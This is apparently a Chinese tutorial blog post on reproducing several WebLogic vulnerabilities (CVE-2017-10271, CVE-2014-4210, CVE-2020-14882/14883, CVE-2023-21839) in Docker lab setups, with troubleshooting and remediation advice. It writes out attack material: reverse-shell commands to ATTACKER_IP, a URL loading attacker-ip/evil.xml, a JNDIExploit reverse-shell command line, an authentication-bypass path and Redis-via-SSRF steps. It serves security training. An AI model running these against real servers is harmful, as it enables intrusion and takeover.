1. 项目概述为什么WebLogic漏洞复现是安全从业者的必修课如果你在甲方做安全运维或者在乙方做渗透测试WebLogic这个名字你一定不陌生。作为Oracle旗下的老牌Java应用服务器它在金融、电信、政府等大型机构中有着极其广泛的应用。一个系统用久了版本迭代跟不上加上默认配置复杂就容易成为攻击者眼中的“肥肉”。我这些年做红蓝对抗和应急响应处理过的WebLogic安全事件两只手都数不过来。很多企业直到被“打穿”了内网才发现问题出在一个几年前就公开了漏洞的WebLogic服务上。所以“漏洞复现”这件事远不止是安全研究员在实验室里的“玩具”。对于一线安全人员来说它是理解攻击手法、验证防护策略、提升应急响应速度的核心技能。你能复现才能真懂攻击链你懂攻击链才能写出有效的检测规则才能知道该在WAF、IPS上拦什么该让运维同事优先修补哪个补丁。今天我就以一个老兵的视角带你深入几个经典的、高风险的WebLogic漏洞从环境搭建到漏洞利用再到背后的原理和防御思考手把手走一遍。我们不搞花架子只讲实战中真正会遇到的情况和踩过的坑。2. 环境准备打造你的专属漏洞实验场工欲善其事必先利其器。复现漏洞首要的是搭建一个安全、可控、可反复折腾的实验环境。直接用公司生产环境那是找死。在个人电脑上乱装可能搞得系统一团糟。最优雅、最推荐的方式就是使用Docker。2.1 为什么选择Docker与Vulhub你可能听说过用虚拟机装个完整WebLogic但那太笨重了。Docker容器轻量、隔离一键启停完美契合漏洞复现“即用即抛”的需求。而Vulhub是一个开源的漏洞环境集合项目它已经为我们准备好了各种漏洞版本的WebLogic镜像和配套的docker-compose配置文件省去了我们手动寻找、下载、配置历史版本WebLogic的繁琐过程。实际操作起来非常简单。首先确保你的机器上安装了Docker和Docker Compose。然后从GitHub上拉取Vulhub项目git clone https://github.com/vulhub/vulhub.git cd vulhub进入WebLogic漏洞目录例如我们要复现CVE-2017-10271cd weblogic/CVE-2017-10271一条命令启动环境docker-compose up -d通常Vulhub的配置会启动一个7001端口的WebLogic服务。用浏览器访问http://your-ip:7001如果能看到WebLogic的默认页面说明环境已经跑起来了。所有操作都发生在这个独立的容器里不会影响宿主机实验完毕直接docker-compose down清理即可无比清爽。注意这里有个关键细节。Vulhub镜像里默认的WebLogic密码是随机生成的并且会在启动时打印在日志里。你需要通过docker-compose logs | grep password来查看。但请注意对于未授权漏洞如CVE-2020-14882我们根本不需要密码这反而更贴近实战中攻击者面对的情况。2.2 攻击机工具链配置光有靶机不够我们还需要攻击机通常就是你的宿主机配备好工具。核心工具就三样Burp Suite、Python环境、Netcat (nc)。Burp Suite这是Web漏洞测试的“瑞士军刀”。我们用它来拦截、重放、修改HTTP请求。在复现XMLDecoder反序列化CVE-2017-10271、SSRF等漏洞时都需要通过Burp来发送精心构造的恶意数据包。社区版就够用记得配置好浏览器代理通常是127.0.0.1:8080。Python环境很多漏洞的利用脚本EXP是用Python写的例如CVE-2018-2628、CVE-2020-14882的利用工具。建议同时安装Python2和Python3因为一些老脚本可能只兼容Python2。用pyenv或conda管理多版本是个好习惯。Netcat这是接收反弹Shell的神器。当我们的漏洞利用代码在目标服务器上执行了反向连接命令后就需要在本机用nc -lvnp 9999这样的命令监听一个端口等待目标服务器主动连接过来从而获得一个交互式Shell。把这三样准备好你的基础攻击阵地就算搭建完成了。3. 核心漏洞原理与复现实战解析接下来我们挑几个最具代表性的WebLogic漏洞深入原理并动手复现。我会按照漏洞描述 - 影响版本 - 复现步骤 - 原理深潜 - 修复方案的逻辑来展开。3.1 CVE-2017-10271XMLDecoder反序列化漏洞这是WebLogic历史上一个非常著名的“大洞”原理典型影响面广。3.1.1 漏洞描述与影响该漏洞存在于WebLogic的WLS Security组件中该组件提供了一个WebService接口/wls-wsat/CoordinatorPortType。问题出在这个接口在处理用户传入的SOAP消息时使用了一个叫XMLDecoder的Java类来解析XML数据。XMLDecoder的功能是将XML流反序列化为Java对象但它过于强大在解析过程中可以调用任意类的任意方法。攻击者通过精心构造一个包含恶意Java代码的XML文档就能在服务器上远程执行任意命令。受影响的版本包括10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1, 12.2.1.2。基本上覆盖了当时的主流版本。3.1.2 复现步骤与详解首先启动对应的Vulhub环境weblogic/CVE-2017-10271。访问http://your-ip:7001/wls-wsat/CoordinatorPortType11如果看到一个XML格式的页面说明存在漏洞端点。真正的攻击发生在发送POST请求时。打开Burp Suite拦截对上述URL的请求将其改为POST并替换请求体。核心的POC攻击载荷结构如下soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ soapenv:Header work:WorkContext xmlns:workhttp://bea.com/2004/06/soap/workarea/ javajava version1.4.0 classjava.beans.XMLDecoder !-- 恶意Java对象构造在这里 -- /java/java /work:WorkContext /soapenv:Header soapenv:Body/ /soapenv:Envelope在java标签内部我们可以构造一个java.io.PrintWriter对象让它向服务器上的一个可访问路径比如Web目录写入一个JSP Webshell文件。JSP文件内容就是一段能执行系统命令的Java代码。发送这个请求后如果服务器返回500错误但随后你能访问到你写入的JSP文件如http://your-ip:7001/bea_wls_internal/test.jsp?pwdpociwhoami并看到命令执行结果说明漏洞利用成功。更直接的利用方式是反弹Shell。将POC中写入文件的部分替换为执行系统命令的代码例如使用java.lang.ProcessBuilder来启动/bin/bash并让它连接到我们攻击机的IP和端口。3.1.3 原理深潜与思考这个漏洞的本质是“反序列化漏洞”的一种。XMLDecoder在设计上就允许XML标签映射到Java对象的方法调用。例如void methodstart/就对应着调用对象的start()方法。攻击者正是利用了这一点构造了一个调用Runtime.getRuntime().exec()或ProcessBuilder.start()的调用链。从防御角度看这个漏洞给我们的教训是永远不要使用不安全的反序列化机制来处理不可信的输入。对于业务系统要严格审查所有接收外部数据并进行反序列化的入口。3.1.4 修复建议临时处置如果业务用不到WLS WebService组件最直接的方法是删除wls-wsat.war这个应用包。找到WebLogic安装目录下的wlserver_10.3/server/lib/wls-wsat.war和对应域目录下的缓存文件删除后重启WebLogic。官方补丁前往Oracle官网下载对应版本的安全补丁。这是最根本的解决方案。3.2 Weblogic SSRF漏洞CVE-2014-4210等SSRF服务器端请求伪造是另一个在WebLogic中危害巨大的漏洞类型它常被用作攻击内网的“跳板”。3.2.1 漏洞描述与影响漏洞存在于uddiexplorer应用一个UDDI查询工具的SearchPublicRegistries.jsp页面。该页面有一个operator参数用于指定要查询的注册中心地址。然而服务器会直接向这个参数指定的URL发起HTTP请求并将结果返回。攻击者可以将operator参数指向内网的其他系统如Redis、FastCGI等从而探测内网信息或攻击内网服务。影响版本主要为 Weblogic 10.0.2 – 10.3.6。3.2.2 复现步骤与技巧访问http://your-ip:7001/uddiexplorer/无需认证即可看到一个搜索页面。漏洞点在SearchPublicRegistries.jsp。利用过程分两步内网探测通过Burp修改operator参数例如设为http://192.168.1.1:80。观察返回结果。如果端口开放且是HTTP服务可能返回404或具体内容如果端口关闭或非HTTP服务会返回连接错误信息。通过这种差异可以盲测内网IP和端口。攻击内网Redis这是该漏洞最经典的利用场景。如果内网有一台Redis服务器且未授权访问我们可以利用WebLogic发送的HTTP请求通过注入换行符%0d%0a来向Redis发送多条命令。例如通过Redis的config set dir和config set dbfilename命令将SSH公钥写入目标服务器的/root/.ssh/authorized_keys文件或者写入计划任务/etc/crontab来反弹Shell。这里有个关键技巧WebLogic的SSRF请求虽然是GET但参数值中的%0d%0aURL编码的CRLF会被服务器解析为换行。而Redis协议恰好以换行符分隔命令这就实现了“HTTP请求走私Redis命令”。3.2.3 修复建议删除uddiexplorer应用目录。通过网络策略限制该应用只能被内网IP访问。将SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspxJSPX文件默认不被执行。3.3 CVE-2020-14882 14883管理控制台组合拳这是一个非常精彩的漏洞组合利用了两个漏洞的串联最终通过一个GET请求就能实现远程代码执行。3.3.1 漏洞描述与影响CVE-2020-14882权限绕过WebLogic管理控制台的URL访问控制存在缺陷通过构造特殊的URL如/console/css/%252e%252e%252fconsole.portal可以绕过身份验证直接访问后台管理页面但此时是低权限状态。CVE-2020-14883代码执行管理控制台存在一个端点可以处理某些特定的MBean管理Bean操作低权限用户也可以通过该端点执行Java代码。受影响版本极广从10.3.6到14.1.1均受影响。3.3.2 复现步骤详解权限绕过直接访问http://your-ip:7001/console/css/%252e%252e%252fconsole.portal。你会发现无需登录就进入了管理控制台界面但很多功能是灰的低权限。代码执行在低权限下通过URL参数调用特定的MBean。有两种方式方式一通杀利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。这个类可以从一个远程URL加载XML配置文件。我们可以在攻击机上放置一个恶意的XML文件内容是利用Spring框架机制执行命令。然后通过构造URL让WebLogic去加载它...handlecom.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(http://attacker-ip/evil.xml)。方式二高版本对于12.2.1以上版本可以直接利用com.tangosol.coherence.mvel2.sh.ShellSession来执行命令更为直接。3.3.3 实战心得这个漏洞组合的可怕之处在于“一键利用”。互联网上已经有很多公开的EXP脚本输入目标地址和命令即可。在应急响应时如果发现WebLogic服务器外网可访问/console路径一定要立即将其列为最高风险。我遇到过不少案例攻击者就是利用这个漏洞批量“种马”作为内网渗透的起点。3.4 CVE-2023-21839新的JNDI注入风险这是近年来一个较新的高危漏洞原理与经典的Log4ShellCVE-2021-44228有相似之处都涉及JNDI注入。3.4.1 漏洞描述与影响漏洞存在于WebLogic的T3/IIOP协议服务中。攻击者可以在未授权的情况下通过构造特定的T3/IIOP请求触发JNDI查找操作。如果攻击者控制了一个恶意的JNDI服务地址如LDAP并且目标服务器的JDK版本较低低于8u191、7u201、6u211等或者Classpath中存在可利用的“小工具”gadget就会导致远程代码执行。影响版本12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0。3.4.2 复现环境搭建要点复现这个漏洞需要两个额外条件低版本JDK或存在gadget的依赖为了成功利用JNDI注入执行命令需要目标环境满足“出网”和“低版本JDK”或“存在可利用第三方库”的条件。在实验时可以特意使用JDK 8u181来启动WebLogic。恶意JNDI服务器需要搭建一个恶意的JNDI/LDAP服务来响应WebLogic的查询并返回恶意的Java类。可以使用开源的JNDIExploit或marshalsec工具来快速启动。3.4.3 复现过程在攻击机启动恶意JNDI服务java -jar JNDIExploit.jar -i your-ip -l 1389 -p 8080。在攻击机用NC监听一个端口等待反弹Shellnc -lvnp 9999。使用公开的EXP工具如Weblogic-CVE-2023-21839.jar指定目标地址和恶意的JNDI地址java -jar Weblogic-CVE-2023-21839.jar target-ip:7001 ldap://your-jndi-ip:1389/Basic/ReverseShell/your-ip/9999。如果漏洞存在且环境符合EXP会触发目标WebLogic向你的JNDI服务发起查询JNDI服务会指示目标去加载一个恶意类这个类会执行反弹Shell的命令从而在你的NC监听端口中获得Shell。3.4.4 漏洞原理与防御启示这个漏洞再次凸显了JNDI注入和不安全的反序列化组合在一起的威力。防御思路依然是“最小化攻击面”升级及时安装Oracle官方补丁。禁用如果业务用不到T3和IIOP协议在WebLogic控制台或配置文件中将其禁用。网络隔离严格限制WebLogic服务对外的网络访问特别是向外发起JNDI/LDAP请求的能力。4. 漏洞复现中的常见问题与排查技巧在实际操作中你几乎一定会遇到各种问题。下面是我总结的一些常见坑点和解决方法。4.1 环境搭建类问题问题1Docker容器启动后访问IP:7001不通。排查首先用docker ps确认容器是否真的在运行。然后用docker logs [container-id]查看容器日志很可能WebLogic启动失败常见原因是内存不足。WebLogic启动需要较大内存。解决修改docker-compose.yml文件为服务增加资源限制例如mem_limit: 2g。或者直接调整Docker Desktop的全局内存分配。问题2使用Vulhub镜像不知道管理员密码。解决这是预期行为。执行docker-compose logs | grep -i password从启动日志中寻找。对于未授权漏洞密码本来就不需要。问题3反弹Shell时NC监听不到连接。排查这是最常遇到的问题。分几步命令检查确认反弹Shell的命令格式正确。Linux下通常是bash -i /dev/tcp/ATTACKER_IP/PORT 01。注意IP和端口要替换成你的攻击机地址。编码问题如果POC中需要将命令进行Base64编码或URL编码务必确认编码正确且完整。一个字符错误都会导致失败。可以用在线的编码解码工具反复核对。网络连通性确认攻击机IP和端口是否正确并且防火墙是否放行了该端口的入站连接。在攻击机上用telnet ATTACKER_IP PORT测试一下端口是否可被访问需要另开一个终端。目标出网限制这是实战中最常见的原因。你的漏洞利用命令可能执行成功了但目标服务器无法访问你的攻击机IP比如有防火墙策略。在实验环境中确保Docker容器和宿主机网络是通的默认的bridge模式通常没问题。4.2 漏洞利用类问题问题1发送POC后返回500错误但利用不成功如文件没创建Shell没弹回来。排查500错误有时是“好的”信号说明请求触发了异常处理流程可能已经执行了部分代码。需要进一步验证。解决文件操作尝试执行一个简单的touch /tmp/test123命令然后进入Docker容器 (docker exec -it [container-id] /bin/bash) 查看文件是否创建。命令回显如果POC是执行命令并回显检查Burp返回的响应体可能命令执行结果就在里面。DNSLog测试对于疑似盲注或无回显的场景如CVE-2023-21839可以先用DNSLog来测试。将命令替换为curl http://your-dnslog-subdomain.dnslog.cn如果DNSLog平台收到记录证明漏洞存在且命令可执行。问题2SSRF漏洞探测内网端口结果不准确。原因WebLogic的SSRF在请求不同协议、不同服务时返回的报文体和错误信息差异可能很微妙容易误判。技巧不要只看返回的“连接失败”或“404”等文本。要结合响应时间和响应包长度综合判断。对一个关闭的端口发起请求连接会很快被拒绝而对一个开放的端口即使是非HTTP服务TCP连接能建立响应时间会更长返回的包也可能不同。在Burp的Intruder模块中可以设置响应时间和长度作为判断条件进行批量探测。问题3使用公开EXP工具失败。排查Python版本老EXP可能是Python2写的用Python3运行会报语法错误。确认脚本头部的#!/usr/bin/env python版本。依赖库运行报错提示缺少模块如requests、urllib3等用pip install安装即可。参数格式仔细阅读EXP的-h帮助信息确认IP、端口、URL的格式是否正确。有的工具需要http://ip:port有的只需要ip:port。目标兼容性确认EXP支持的目标版本。不是所有EXP都通杀所有小版本。4.3 防御与修复验证类问题问题打了补丁/做了临时处置后如何验证漏洞已修复方法最直接的方法就是用原来的POC再打一遍。但要注意安全最好在测试环境进行。对于删除文件的方式如删除wls-wsat.war访问漏洞URL应返回404。对于权限绕过漏洞尝试绕过登录的URL应跳转到登录页或返回403。对于SSRF漏洞尝试利用应不再返回内部服务的信息。终极验证使用专业的漏洞扫描器对修复后的服务进行扫描。但切记任何自动化工具都有误报和漏报结合手动验证才是最可靠的。5. 从复现到防御构建安全闭环漏洞复现不是目的而是手段。通过亲手复现我们应该形成一套完整的安全工作流。5.1 漏洞情报监控关注Oracle每季度的关键补丁更新CPU关注安全社区如Seebug、先知、奇安信威胁情报中心的漏洞预警。像WebLogic这样的核心中间件一旦曝出漏洞攻击代码往往在几天内就会出现在网上。5.2 资产梳理与风险定位在内部必须清楚知道有多少WebLogic实例它们的版本、部署位置、网络暴露情况。只有摸清家底才能在漏洞爆发时快速定位风险点而不是全网盲扫。5.3 制定并验证缓解措施对于高危漏洞往往等不及完整的补丁测试和上线窗口。这时需要立即制定临时缓解措施例如网络层面在防火墙或WAF上紧急添加拦截规则阻断对漏洞路径如/wls-wsat/*,/uddiexplorer/*的访问。主机层面按照官方建议删除临时文件或禁用组件。应用层面修改配置限制访问源IP。关键一步任何缓解措施实施后必须像攻击者一样去验证是否真的有效。这就是我们复现漏洞的价值所在——你知道怎么攻才知道怎么守。5.4 补丁管理与长效治理临时措施不能代替正式补丁。需要建立规范的中间件补丁管理流程在测试环境充分验证补丁兼容性后规划窗口对生产系统进行升级。同时推动开发运维体系向更安全的方向发展例如最小化安装安装WebLogic时只勾选业务必需的组件。安全加固遵循安全基线修改默认端口、禁用不必要的协议如T3/IIOP对外、设置强密码和适当的权限。纵深防御不要依赖单一防护。结合网络隔离、主机入侵检测HIDS、Web应用防火墙WAF、运行时应用自保护RASP等手段构建多层防御体系。手动复现一遍这些漏洞你会对HTTP请求的每一个参数、响应的每一个状态码、执行的每一条命令都有更深刻的体会。这种体会是看再多的分析报告也换不来的。它让你在告警响起时能更快地判断真伪在应急响应时能更准地找到根因在制定防护策略时能更狠地打到痛点。安全这条路没有捷径唯手熟尔。